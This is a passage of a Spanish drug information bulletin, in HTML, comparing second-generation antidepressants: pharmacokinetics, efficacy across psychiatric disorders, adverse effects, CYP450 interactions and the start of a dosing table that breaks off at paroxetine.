</font></u><font size="3">El antagonismo 5HT2A hace que, desde una perspectiva neurofarmacológica, los ADs de este grupo carezcan de efectos secundarios como disfunción sexual, ansiedad o agitación. La trazodona (el único comercializado en España), además, bloquea los receptores alfa 1 y los histamínicos H1, lo que lo hace un fármaco muy sedante; como ventaja adicional, carece de efectos anticolinérgicos significativos.<br />
</font><font size="3"> </font></p>
<p><strong><font size="3" /></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong /><strong><font size="3" /></strong><strong><strong><font size="3">5. FARMACOCINÉTICA<br />
</font></strong><font size="3">Citalopram tiene una semivida de eliminación plasmática (t 1/2) de aproximadamente 36 horas en estado estacionario y es independiente del sexo. La t1/2 de paroxetina está aumentada en ancianos (aumenta de 36 a 90 horas), población en la que se han descrito concentraciones plasmáticas aumentadas. Fluoxetina tiene la t1/2 más prolongada (1-4 días) y su metabolito activo norfluoxetina de 7-15 días lo que puede ser ventajoso para pacientes que muestren un bajo grado de adherencia. Sertralina presenta una t1/2 sexo y edad dependiente.<br />
</font><font size="3">Citalopram y sertralina presentan una farmacocinética lineal, mientras que fluoxetina y paroxetina exhiben una farmacocinética no lineal, lo que significa que pequeños aumentos de dosis pueden dar lugar a concentraciones plasmáticas desproporcionadas, lo cual supondría una eventual toxicidad de tipo anticolinérgica para paroxetina.<br />
</font></p>
<p></strong></p>
<table class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 79px"><strong><span lang="EN-GB" /></strong></td>
<td valign="top" style="width: 79px"><strong>Absorción F (%)<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Tmax (horas)<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Interacción con alimentos<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Volumen de distribución (l/kg)<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Unión a proteínas plasmáticas<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Metabolitos activos<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Semivida eliminación<br />
</strong></td>
<td valign="top" style="width: 79px"><strong>Cinética Lineal<br />
</strong></td>
</tr>
<tr>
<td style="width: 79px"><strong>Mirtazapina<br />
</strong></td>
<td style="width: 79px">50</td>
<td style="width: 79px">1.5-2</td>
<td style="width: 79px">No</td>
<td style="width: 79px">-</td>
<td style="width: 79px">85</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">20-40 h (mayor en mujeres)</td>
<td style="width: 79px">Sí, en dosis 30-80 mg</td>
</tr>
<tr>
<td style="width: 79px"><strong>Mianserina<br />
</strong></td>
<td style="width: 79px">20-30</td>
<td style="width: 79px">2-3</td>
<td style="width: 79px">No</td>
<td style="width: 79px">27.5</td>
<td style="width: 79px">90</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">10-40.8 h</td>
<td style="width: 79px">Sí</td>
</tr>
<tr>
<td style="width: 79px"><strong>Reboxetina<br />
</strong></td>
<td style="width: 79px">92-94</td>
<td style="width: 79px">1.5-2.4</td>
<td style="width: 79px">No</td>
<td style="width: 79px">0.38-0.92</td>
<td style="width: 79px">96-97</td>
<td style="width: 79px">No</td>
<td style="width: 79px">12-14 h</td>
<td style="width: 79px">-</td>
</tr>
<tr>
<td style="width: 79px"><strong>Duloxetina<br />
</strong></td>
<td style="width: 79px">30-80</td>
<td style="width: 79px">6-10</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">-</td>
<td style="width: 79px">≥ 90</td>
<td style="width: 79px">No</td>
<td style="width: 79px">8-17 h</td>
<td style="width: 79px">-</td>
</tr>
<tr>
<td style="width: 79px"><strong>Fluvoxamina<br />
</strong></td>
<td style="width: 79px">94</td>
<td style="width: 79px">3-8</td>
<td style="width: 79px">No</td>
<td style="width: 79px">25</td>
<td style="width: 79px">77</td>
<td style="width: 79px">No</td>
<td style="width: 79px">15 h</td>
<td style="width: 79px">No</td>
</tr>
<tr>
<td style="width: 79px"><strong>Fluoxetina<br />
</strong></td>
<td style="width: 79px">72-90</td>
<td style="width: 79px">6-8</td>
<td style="width: 79px">No</td>
<td style="width: 79px">20-45</td>
<td style="width: 79px">≥ 95</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">4-16 días</td>
<td style="width: 79px">No</td>
</tr>
<tr>
<td style="width: 79px"><strong>Paroxetina<br />
</strong></td>
<td style="width: 79px">≥ 90</td>
<td style="width: 79px">3-8</td>
<td style="width: 79px">No</td>
<td style="width: 79px">3-12</td>
<td style="width: 79px">≥ 95</td>
<td style="width: 79px">No</td>
<td style="width: 79px">20 h</td>
<td style="width: 79px">No</td>
</tr>
<tr>
<td style="width: 79px"><strong>Sertralina<br />
</strong></td>
<td style="width: 79px">80-95</td>
<td style="width: 79px">4-9</td>
<td style="width: 79px">Mínimo</td>
<td style="width: 79px">20</td>
<td style="width: 79px">≥ 95</td>
<td style="width: 79px">Sí (débiles)</td>
<td style="width: 79px">26</td>
<td style="width: 79px">Sí</td>
</tr>
<tr>
<td style="width: 79px"><strong>Citalopram<br />
</strong></td>
<td style="width: 79px">80</td>
<td style="width: 79px">2-4</td>
<td style="width: 79px">No</td>
<td style="width: 79px">12-15</td>
<td style="width: 79px">80</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">33-37</td>
<td style="width: 79px">Sí</td>
</tr>
<tr>
<td style="width: 79px"><strong>Escitalopram<br />
</strong></td>
<td style="width: 79px">-</td>
<td style="width: 79px">3-6</td>
<td style="width: 79px">No</td>
<td style="width: 79px">-</td>
<td style="width: 79px">56</td>
<td style="width: 79px">Sí (débiles)</td>
<td style="width: 79px">22-32</td>
<td style="width: 79px">-</td>
</tr>
<tr>
<td style="width: 79px"><strong>Venlafaxina<br />
</strong></td>
<td style="width: 79px">12.6</td>
<td style="width: 79px">1-2</td>
<td style="width: 79px">-</td>
<td style="width: 79px">6-7</td>
<td style="width: 79px">30</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">5-11</td>
<td style="width: 79px">-</td>
</tr>
<tr>
<td style="width: 79px"><strong>Trazodona<br />
</strong></td>
<td style="width: 79px">65</td>
<td style="width: 79px">0.5-2</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">0.47-0.84</td>
<td style="width: 79px">89-95</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">7</td>
<td style="width: 79px">-</td>
</tr>
<tr>
<td style="width: 79px"><strong>Bupropión<br />
</strong></td>
<td style="width: 79px">Muy baja</td>
<td style="width: 79px">2-3</td>
<td style="width: 79px">No</td>
<td style="width: 79px">19-21</td>
<td style="width: 79px">84</td>
<td style="width: 79px">Sí</td>
<td style="width: 79px">14</td>
<td style="width: 79px">-</td>
</tr>
</table>
<p><strong><font size="3" /></strong><strong /><strong><font size="3" /></strong><strong><strong><font size="3">6. EFICACIA-EFECTIVIDAD CL�?NICA<br />
</font></strong><font size="3">6.1. Episodio Depresivo Mayor (EDM)<br />
</font><font size="3">El <strong>tratamiento</strong> de la depresión mayor puede ser dividido en 3 fases: aguda, continuación y mantenimiento. La fase aguda dura 6-12 semanas y el objetivo es estabilizar la sintomatología aguda; para esta fase se emplea el término de <em>respuesta</em> que significa que el paciente ha experimentado al menos un 50% de reducción en los síntomas evaluados mediante una escala de evaluación psiquiátrica estándar como la escala de Hamilton. El término <em>remisión</em> se utiliza cuando prácticamente han desaparecido todos los síntomas y no sólo el 50% de ellos. La fase de continuación cuyo objetivo es mantener la ausencia de síntomas depresivos durante 4-9 meses adicionales, lo cual daría por resuelto el episodio de DM; en este sentido se emplea el término <em>recaída</em> cuando reaparecen síntomas depresivos durante las fases aguda o de continuación. El objetivo de la fase de mantenimiento es evitar un nuevo episodio de DM y suele durar años, lo cual se consideraría como una <em>recurrencia</em> <sup>3</sup>.<br />
</font><font size="3">No existen <strong>diferencias</strong> sustanciales entre los distintos antidepresivos de 2ª generación en cuanto a eficacia, efectividad y calidad de vida en el tratamiento de la DM en su fase aguda. Más del 50% de los pacientes tratados con ADs de 2ª generación no alcanzaron la remisión que es el principal objetivo clínico del tratamiento de la depresión; además casi un 40% de los pacientes tratados no alcanzarán respuesta clínica, que es un parámetro menos riguroso. Actualmente se desconocen los factores predictivos de respuesta a un tratamiento farmacológico <sup>4</sup>.<br />
</font><font size="3">Los resultados del ensayo Sequenced Treatment Alternatives to Relieve Depresión (STAR-D)- un estudio de efectividad que aleatoriza a los pacientes a bupropion, sertralina o venlafaxina después de que fracasaran con una primea línea de tratamiento- indican que, incluso con <strong>segundas líneas de tratamiento</strong>, una proporción sustancial de pacientes no alcanzarán la remisión. El estudio ARGOS fue otro estudio de efectividad que encontró que venlafaxina era superior a citalopram, fluoxetina, mirtazapina, paroxetina y sertralina, como segunda línea de tratamiento; sin embargo, no está muy claro cómo mantuvieron el cegamiento de los evaluadores, lo que limita la conclusión establecida. Por otra parte no hay ningún estudio que compare un AD frente a otro en pacientes que experimentan una recaída o una recurrencia; aunque STAR-D incluyó pacientes con historia de episodios depresivos recurrentes, el análisis se centró en pacientes cuyo tratamiento del EDM actual había fracasado, pero no se incluyeron pacientes que inicialmente respondieran y más tarde fracasaran<sup>4</sup>.<br />
</font><font size="3">Son mucho menos numerosos los ensayos que evalúen la <strong>efectividad</strong> (2 en USA y 1 en Europa), y los resultados concuerdan con aquellos que ensayan la eficacia. No existen diferencias en cuanto a la adherencia al tratamiento para ninguno de los fármacos<sup>4</sup>.<br />
</font><font size="3">Amitriptilina (antidepresivo tricíclico) resultó ser más eficaz que los antidepresivos comparadores (ISRS y otros tricíclicos) en <strong>pacientes hospitalizados</strong> (OD: 1,22; IC95%: 1,04-1,42) pero similar en pacientes ambulatorios según una revisión sistemática de 2007; asimismo se encontró una tasa de abandono superior para amitriptilina que para los ISRS con un NNH=40 <sup>5</sup>.<br />
</font><font size="3">Por tanto, en el EDM, la evidencia surgida tanto de ensayos comparativos directos (head-to-head trials), como la aportada por la comparación indirecta utilizando ECAs controlados con placebo, indica que, globalmente, no existe diferencia en cuanto a eficacia ni en cuanto a efectividad entre los diferentes ADs de 2ª generación. Los resultados de algunos metaanálisis indican diferencias estadísticamente significativas en cuanto a eficacia; en concreto, y utilizando la respuesta como variable de eficacia, escitalopram es más eficaz que citalopram, sertralina más que fluoxetina y venlafaxina más que fluoxetina. Sin embargo, metaanálisis de tamaño-efecto realizados sugieren que la diferencia real es pequeña y no es clínicamente significativa. Por ejemplo, el metaanálisis que compara la tasa de respuesta de escitalopram vs. citalopram, muestra que hay más pacientes que alcanzan respuesta clínica en el grupo que toma escitalopram (RR:1.14; IC95%, 1.04-1.26). Un metaanálisis de tamaño-efecto realizado detalla una diferencia real entre los dos fármacos de 1.3 puntos en la escala Hamilton lo que representa de un quinto a un cuarto de la desviación estándar, lo cual no expresa un mínimo de diferencia clínica significativa. Sucede lo mismo con la supuesta superioridad descrita para venlafaxina y sertralina en las comparaciones anteriormente enunciadas <sup>4</sup>.<br />
</font><font size="3">La eficacia global del tratamiento farmacológico en la DM ha sido criticada recientemente por una revisión Cochrane que examinó aquellos ensayos que compararon antidepresivos tricíclicos versus placebos “activos��?, es decir, placebos que contienen sustancias activas que imitan los efectos secundarios de los antidepresivos. Se encontraron pequeñas diferencias a favor de los antidepresivos en cuanto a mejoría del estado de ánimo, lo que sugiere que los efectos de los antidepresivos han sido sobreestimados fundamentalmente por sesgo de cegamiento en los ECAs <sup>6</sup>. Este sesgo se une al ya enunciado por otros autores que critican la dicotomización de una variable continua como es la escala Hamilton lo que puede llevar a que haya pacientes por debajo del corte establecido que sean clínicamente indistinguibles de pacientes situados por encima; por otro lado la escala Hamilton más empleada es una que evalúa 17 items (puntuación máxima de 52 puntos), 7 de los cuales conciernen la sedación y la ansiedad y cada item que evalúa la sedación cuenta 6 puntos lo que hace que cualquier sustancia con propiedades sedativas de una diferencia media de 2 puntos o más sin que ejerza ninguna acción antidepresiva <sup>7</sup>. Estos argumentos están siendo objeto de críticas en  meta-análisis y revisiones sistemáticas actuales.<br />
</font><font size="3">Clínicamente, es numerosa la <strong>sintomatología física y psicológica</strong> que acompaña al EDM (ansiedad, insomnio, dolor, etc). En la práctica clínica es habitual recomendar diferentes ADs dependiendo de la sintomatología acompañante asumiendo diferencias en el perfil de los mismos, sin embargo, la evidencia actual no sugiere ninguna diferencia entre los ADs de 2ª generación para ninguna comorbilidad; para los pacientes que presentan un EDM con ansiedad, la evidencia actual sugiere que existe mejoría en los síntomas depresivos y ansiosos (ambos) con dosis adecuadas de ADs, pero ningún AD se ha descubierto superior a otro <sup>4</sup>.<br />
</font><font size="3">No existen estudios con diseños aceptables que traten el uso de antidepresivos de 2ª generación en la <strong>distimia</strong> (forma de depresión leve pero muy crónica, que dura más de 2 años)<sup> 4</sup><br />
</font><font size="3">Acorde a la evidencia existente, parece que mirtazapina tiene un <strong>inicio de acción</strong> significativamente más rápido que citalopram, fluoxetina, paroxetina y sertralina <sup>4</sup>.<br />
</font><font size="3"> </font></p>
<p></strong><font size="3"><u>6.2. Trastorno Obsesivo-Compulsivo (TOC) </u><sup>8</sup><u><br />
</u></font><font size="3">Los objetivos globales son disminuir la frecuencia y severidad de las obsesiones y compulsiones y mejorar el funcionamiento del paciente. El manejo del TOC también puede ser dividido en 3 fases: aguda, continuación y mantenimiento. No hay estudios que comparen los diferentes ISRS indicados en el trastorno pero si han sido estudiados en ECAs a doble ciego con placebo o clomipramina en el tratamiento de la fase aguda. No hay evidencia de superioridad de ningún antidepresivo como clase.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>6.3. Trastorno de pánico (o Trastorno de angustia)</u><sup> 8</sup><u><br />
</u></font><font size="3">Se distinguen las mismas 3 fases. La fase aguda dura 2-3 meses y la fase de continuación 2-6 meses adicionales. El objetivo de la fase de mantenimiento es la recuperación de la funcionalidad del enfermo y puede durar 1 año. La mayoría de los ECAs a doble ciego se realizaron con paroxetina versus placebo o imipramina o clomipramina. No hay evidencia de superioridad de ningún antidepresivo como clase.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>6.4. Trastorno del Estrés Postraumático (TEPT)</u><sup> 8</sup><u><br />
</u></font><font size="3">Los ISRS han sido empleados en el TEPT tanto en población civil como militar tras mostrar mejoría en la sintomatología en ensayos abiertos. Hay un ECA doble ciego que compara fluoxetina (no tiene la indicación por la FDA) con placebo en población civil y en veteranos de guerra. Fluoxetina disminuyó la sintomatología utilizando la Clinician Administered PTSD scale. El grupo de civiles y aquellos sin historial de tratamientos crónicos manifestaron una respuesta mayor.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>6.5. Trastorno Ansiedad Generalizada (TAG) </u><sup>9</sup><u><br />
</u></font><font size="3">El eje del tratamiento farmacológico del TAG ha sido el uso de benzodiazepinas y ansiolíticos no benzodiazepínicos. Los datos surgidos a lo largo de las últimas dos décadas han mostrado que los ADs pueden ser tan efectivos como los ansiolíticos e incluso pueden resultar ventajosos debido a que el TAG presenta un alto índice de comorbilidad con el EDM (62%). Con este propósito se diseñó una revisión Cochrane que incluyó pacientes con TAG sin depresión mayor concomitante u otras comorbilidades del eje I y encontró que imipramina, venlafaxina y paroxetina fueron superiores a placebo (NNT=5,54 para el grupo), sin que se hallaran diferencias en las tasas de abandono entre ninguno de ellos.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>6.6. Síndrome premenstrual </u><sup>8</sup><u><br />
</u></font><font size="3">Varios ECA pequeños controlados con placebo han evaluado fluoxetina. Por otro lado fluoxetina, paroxetina y sertralina han sido evaluados por separado en ensayos más amplios comparándose con placebo o maprotilina. En estos estudios la reducción de los síntomas fue significativamente superior con los IRSR que con placebo. No hay evidencia de superioridad de ningún antidepresivo como clase.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>6.7. Fobia social </u><sup>8</sup><u><br />
</u></font><font size="3">Los ISRS han sido estudiados en la fobia social a través de cases reports y pequeños ensayos abiertos. Las tasas de respuesta fueron del 62-90% con fluoxetina, 58-80% con sertralina, 77-83% con paroxetina y 47% con fluvoxamina. La duración de los ensayos fue de 6-18 semanas y la variable de resultado se basó en escalas de evaluación psiquiátricas.<br />
</font><font size="3"> </font></p>
<p><font size="3"><u>6.8. Bulimia nerviosa </u><sup>10</sup><u><br />
</u></font><font size="3">Se elaboró recientemente una revisión sistemática que incluyó 19 ensayos que comparan ADs con placebo: 6 ensayos con ATC (imipramina, desimipramina y amitriptilina), 5 con ISRS (fluoxetina), 5 con IMAO (fenelzina, isocarboxamida, moclobemida y brofaromina) y 3 con otras clases de fármacos (mianserina, trazodona y anfebutamona). Se obtuvieron resultados similares en términos de eficacia para estos distintos grupos de fármacos. El RR combinado para la remisión de episodios de atracones fue del 0,87 (IC95%: 0,81-0,93; p<0,001) lo que apoya el uso de fármacos. El NNT para una duración de tratamiento de 8 semanas fue de 9 (IC95%: 6-16). Los pacientes tratados con antidepresivos fueron más susceptibles de interrumpir el tratamiento de forma prematura debido a eventos adversos. Aquellos tratados con ATC abandonaron el tratamiento por diversas causas con más frecuencia que los tratados con placebo. Lo opuesto se halló para aquellos tratados con fluoxetina, lo que sugiere que éste podría ser un tratamiento más aceptable.<br />
</font><strong><font size="3"> </font></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong><strong><font size="3">7. SEGURIDAD <sup>4,8</sup><br />
</font></strong><font size="3">De media, un 61% de pacientes experimentarán al menos un efecto adverso durante el curso de los estudios evaluados por diferentes organismos sanitarios. Nausea, dolor de cabeza, diarrea, fatiga, mareo, sudoración, temblor, boca seca y ganancia de peso son efectos adversos comunes. Aunque el espectro de los efectos secundarios es similar entre los ADs de 2ª generación, la frecuencia de efectos adversos específicos varía según diferentes fármacos. Por ejemplo, venlafaxina presenta una incidencia más alta de naúsea y vómitos que los ISRSs como clase. Paroxetina conduce más frecuentemente a disfunción sexual, mirtazapina y paroxetina a más ganancia de peso y sertralina a más diarrea. Si bien, estas diferencias no se manifiestan en distintas incidencias de abandono ni en grado de adherencia a ninguno de los fármacos.<br />
</font></p>
<p></strong></p>
<table class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 157px"><strong>Efecto Adverso<br />
</strong></td>
<td valign="top" style="width: 90px"><strong>Grado de evidencia<br />
</strong></td>
<td valign="top" style="width: 485px"><strong>Comentarios<br />
</strong></td>
</tr>
<tr>
<td valign="top" style="width: 732px" colspan="3"><strong>Tolerabilidad general<br />
</strong></td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Náusea y Vómitos<br />
</strong></td>
<td valign="top" style="width: 90px">Alto</td>
<td valign="top" style="width: 485px">Meta-análisis de 15 estudios indica que <strong>venlafaxina</strong> presenta una incidencia significativamente más alta de en comparación con los ISRSs como grupo</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Diarrea<br />
</strong></td>
<td valign="top" style="width: 90px">Moderado</td>
<td valign="top" style="width: 485px">Evidencia proveniente de 15 estudios indica que <strong>sertralina</strong> presenta una incidencia significativamente mayor que bupropión, citalopram, fluoxetina, fluvoxamina, mirtazapina, nefazodona, paroxetina y venlafaxina</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Agitación/ansiedad<br />
</strong></td>
<td valign="top" style="width: 90px">-</td>
<td valign="top" style="width: 485px">Un meta-análisis de 20 estudios comparativos con fluoxetina evaluó la tolerabilidad de la fluoxetina frente a sertralina, paroxetina, fluvoxamina y citalopram. Se encontró un aumento del riesgo de agitación con <strong>fluoxetina</strong> en seis estudios (N=1001) comparado con los otros ISRSs (RR: 1.57; IC95 1.04-2.37; p=0.031, si bien, la incidencia global de agitación fue baja (7.4%). Los autores concluyen que solo un 3% más de pacientes en tratamiento con fluoxetina experimenta ansiedad o agitación en comparación con el resto de los ISRSs, diferencia que no la consideran clínicamente importante</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Ganancia de peso<br />
</strong></td>
<td valign="top" style="width: 90px">Moderado</td>
<td valign="top" style="width: 485px">Siete ensayos muestran que <strong>mirtazapina</strong> conduce a una mayor ganancia de peso en comparación con citalopram, fluoxetina, paroxetina y sertralina</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Efectos anticolinérgicos<br />
</strong></td>
<td valign="top" style="width: 90px">-</td>
<td valign="top" style="width: 485px">Solamente paroxetina tiene la propiedad de bloquear los receptores muscarínicos con el mismo grado que el AD tricíclico imipramina, si bien, los efectos suelen ocurrir con dosis más altas que las terapéuticas</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Somnolencia<br />
</strong></td>
<td valign="top" style="width: 90px">Moderado</td>
<td valign="top" style="width: 485px">Seis ensayos indican que <strong>trazodona</strong> presenta más grado de somnolencia que burpopion, fluoxetina, mirtazapina, paroxetina y venlafaxina</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Síndrome de abstinencia<br />
</strong></td>
<td valign="top" style="width: 90px">Moderado</td>
<td valign="top" style="width: 485px">Una revisión sistemática indica que <strong>paroxetina y venlafaxina</strong> presentan los índices más altos y la fluoxetina el más bajo</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Tasa de abandono<br />
</strong></td>
<td valign="top" style="width: 90px">Alta</td>
<td valign="top" style="width: 485px">Meta-análisis de ensayos de eficacia indica que la tasa global de abandono es similar. <strong>Venlafaxina</strong> presenta la tasa de abandono más alta debida a efectos adversos y la tasa de abandono más baja por falta de eficacia en comparación a ISRSs como grupo</td>
</tr>
<tr>
<td valign="top" style="width: 732px" colspan="3"><strong>Efectos adversos graves<br />
</strong></td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Suicidio<br />
</strong></td>
<td valign="top" style="width: 90px">Bajo</td>
<td valign="top" style="width: 485px">No hay evidencia suficiente para extraer conclusiones comparativas</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Disfunción sexual<br />
</strong></td>
<td valign="top" style="width: 90px">Moderado</td>
<td valign="top" style="width: 485px">Cinco ensayos soportan evidencia de que <strong>bupropion</strong> es el que menos disfunción sexual provoca en comparación con fluoxetina, paroxetina y sertralina. Entre los ISRSs, <strong>paroxetina</strong> es la que más disfunción sexual ocasiona</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Eventos cardiovasculares<br />
</strong></td>
<td valign="top" style="width: 90px">Bajo</td>
<td valign="top" style="width: 485px">La evidencia a este respecto es insuficiente. Una evidencia débil indica que <strong>venlafaxina</strong> puede tener un riesgo incrementado de este tipo de eventos</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Hiponatremia<br />
</strong></td>
<td valign="top" style="width: 90px">Bajo</td>
<td valign="top" style="width: 485px">No hay evidencia suficiente para extraer conclusiones comparativas</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Crisis convulsivas<br />
</strong></td>
<td valign="top" style="width: 90px">Bajo</td>
<td valign="top" style="width: 485px">La evidencia a este respecto es insuficiente. Una evidencia débil indica que <strong>bupropion</strong> puede tener un riesgo incrementado</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Hepatotoxicidad<br />
</strong></td>
<td valign="top" style="width: 90px">Bajo</td>
<td valign="top" style="width: 485px">La evidencia a este respecto es insuficiente. Una evidencia débil indica que <strong>nefazodona</strong> puede tener un riesgo incrementado</td>
</tr>
<tr>
<td valign="top" style="width: 157px"><strong>Síndrome serotoninérgico<br />
</strong></td>
<td valign="top" style="width: 90px">Bajo</td>
<td valign="top" style="width: 485px">No hay evidencia suficiente para extraer conclusiones comparativas. Estudios observacionales indican que no hay diferencias entre los distintos ADs de 2ª generación</td>
</tr>
</table>
<p><font size="3" /></p>
<p><strong><font size="3" /></strong><strong /><strong><font size="3" /></strong><strong><strong><font size="3">8. INTERACCIONES <sup>11</sup><br />
</font></strong><font size="3">La diferencia clínicamente más significativa entre los diferentes ADs de 2ª generación quizás sea su diferente perfil de interacciones medicamentosas. Para citalopram, tanto la interacción por CYP250 como la que media por la unión a proteínas plasmáticas es insignificante y carece de consecuencias clínicas. Fluoxetina, norfluoxetina y paroxetina son potentes inhibidores del CYP2D6; combinar estos ISRS con medicamentos potencialmente tóxicos que se metabolicen a través del CYP2D6, como algunos antipsicóticos o antiarrítmicos tipo 1C, pueden suponer un riesgo para el paciente, por lo que se precisan reajustes y medidas de control. Fluoxetina es también un inhibidor moderado del CYP2C9 lo que explica la posibilidad de niveles infraterapéuticos de fenitoina cuando ambos son coadministrados. Norfluoxetina es in inhibidor moderado del CYP3A4 lo que explica las interacciones documentadas intoxicaciones por carbamazepina o las descritas con benzodiazepinas. Las interacciones medicamentosas a través del CYP250 de sertralina carecen de significado clínico.<br />
</font></p>
<p></strong></p>
<table class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 242px"><strong><span /></strong></td>
<td valign="top" style="width: 485px"><strong>Inhibición CYP450<br />
</strong></td>
</tr>
<tr>
<td valign="top" style="width: 242px"><strong>Citalopram<br />
</strong></td>
<td valign="top" style="width: 485px"><span lang="FR">2D6 (débil), 3A4 (débil), 1A2 (débil)<br />
</span></td>
</tr>
<tr>
<td valign="top" style="width: 242px"><strong><span lang="FR">Fluoxetina<br />
</span></strong></td>
<td valign="top" style="width: 485px"><strong>2D6 (clínicamente significativa)<br />
</strong>2C9 (moderado), 2C19 (moderado), 3A4 (moderado), 1A2 (débil)</td>
</tr>
<tr>
<td valign="top" style="width: 242px"><strong>Paroxetina<br />
</strong></td>
<td valign="top" style="width: 485px"><strong>2D6 (clínicamente significativa)<br />
</strong><span lang="FR">2C9 (débil), 2C19 (débil), 3A4 (débil), 1A2 (débil)<br />
</span></td>
</tr>
<tr>
<td valign="top" style="width: 242px"><strong><span lang="FR">Sertralina<br />
</span></strong></td>
<td valign="top" style="width: 485px">2C19 (moderado), 2C9 (débil), 2D6 (débil), 3A4 (débil), 1A2 (débil)</td>
</tr>
<tr>
<td valign="top" style="width: 242px"><strong>Bupropion<br />
</strong></td>
<td valign="top" style="width: 485px">2D6 (moderado)</td>
</tr>
<tr>
<td valign="top" style="width: 242px"><strong>Venlafaxina<br />
</strong></td>
<td valign="top" style="width: 485px">2D6 (débil)</td>
</tr>
<tr>
<td valign="top" style="width: 242px"><strong>Mirtazapina<br />
</strong></td>
<td valign="top" style="width: 485px">2D6 (débil)</td>
</tr>
</table>
<p><font size="3">Las “moderadas��? pueden ser interacciones clínicamente significativas<br />
</font><strong><font size="3"> </font></strong><strong><strong><font size="3" /></strong></p>
<p></strong><strong><font size="3" /></strong><strong /><strong><font size="3" /></strong><strong><strong><font size="3">9. POSOLOG�?A <sup>2, 12</sup><br />
</font></strong></p>
<p></strong></p>
<div align="center">
<table class="MsoTableSimple1" border="1" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" style="width: 145px"><strong><span lang="FR" /></strong></td>
<td valign="top" style="width: 145px"><strong><span lang="FR">Dosis inicial<br />
</span></strong></td>
<td valign="top" style="width: 145px"><strong><span lang="FR">Dosis de mantenimiento<br />
</span></strong></td>
<td valign="top" style="width: 146px"><strong><span lang="FR">Presentaciones<br />
</span></strong></td>
<td valign="top" style="width: 146px"><strong><span lang="FR">Ajustes posológicos<br />
</span></strong></td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong><span lang="FR">Mirtazapina<br />
</span></strong></td>
<td valign="top" style="width: 145px">15 mg cada 24 h por la noche</td>
<td valign="top" style="width: 145px">Puede incrementarse cada 1-2 semanas hasta un máximo de 45 mg/día</td>
<td valign="top" style="width: 146px">15, 30, 45 mg comprimidos</td>
<td valign="top" style="width: 146px">Ancianos, IR, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong><span lang="FR">Mianserina<br />
</span></strong></td>
<td valign="top" style="width: 145px">30 mg cada 24h</td>
<td valign="top" style="width: 145px">60-90 mg/día; dosis máxima: 200 mg/día</td>
<td valign="top" style="width: 146px">10, 30 mg comprimidos</td>
<td valign="top" style="width: 146px">Ancianos, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong><span lang="FR">Reboxetina<br />
</span></strong></td>
<td valign="top" style="width: 145px">4 mg cada 12 h</td>
<td valign="top" style="width: 145px">Puede incrementarse a las 3-4 semanas hasta un máximo de 12 mg/día</td>
<td valign="top" style="width: 146px">4 mg comprimidos</td>
<td valign="top" style="width: 146px">Ancianos, IR, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong><span lang="FR">Duloxetina<br />
</span></strong></td>
<td valign="top" style="width: 145px">30 mg cada 24 h</td>
<td valign="top" style="width: 145px">60 mg/día</td>
<td valign="top" style="width: 146px">30, 60 mg cápsulas</td>
<td valign="top" style="width: 146px">IR, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong><span lang="FR">Fluvoxamina<br />
</span></strong></td>
<td valign="top" style="width: 145px">50 mg cada 24 h por la noche</td>
<td valign="top" style="width: 145px">100-300 mg/día. Si supera los 100 mg/día hay que fraccionar 2-3 tomas diarias</td>
<td valign="top" style="width: 146px">50, 100 mg comprimidos</td>
<td valign="top" style="width: 146px">Ancianos, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Fluoxetina<br />
</strong></td>
<td valign="top" style="width: 145px">20 mg cada 24h por la mañana</td>
<td valign="top" style="width: 145px">Puede incrementarse la dosis diaria después de varias semanas si no se alcanza respuesta. (dosis máxima 80 mg/día)</td>
<td valign="top" style="width: 146px">20 mg cápsulas<br />
20 mg/ 5 ml solución</td>
<td valign="top" style="width: 146px">Ancianos, IH</td>
</tr>
<tr>
<td valign="top" style="width: 145px"><strong>Paroxetina<br />
</strong></td>
<td valign="top" style="width: 145px">20 mg cada 24 h<br />
Pánico: 10 mg cada 24h</td>
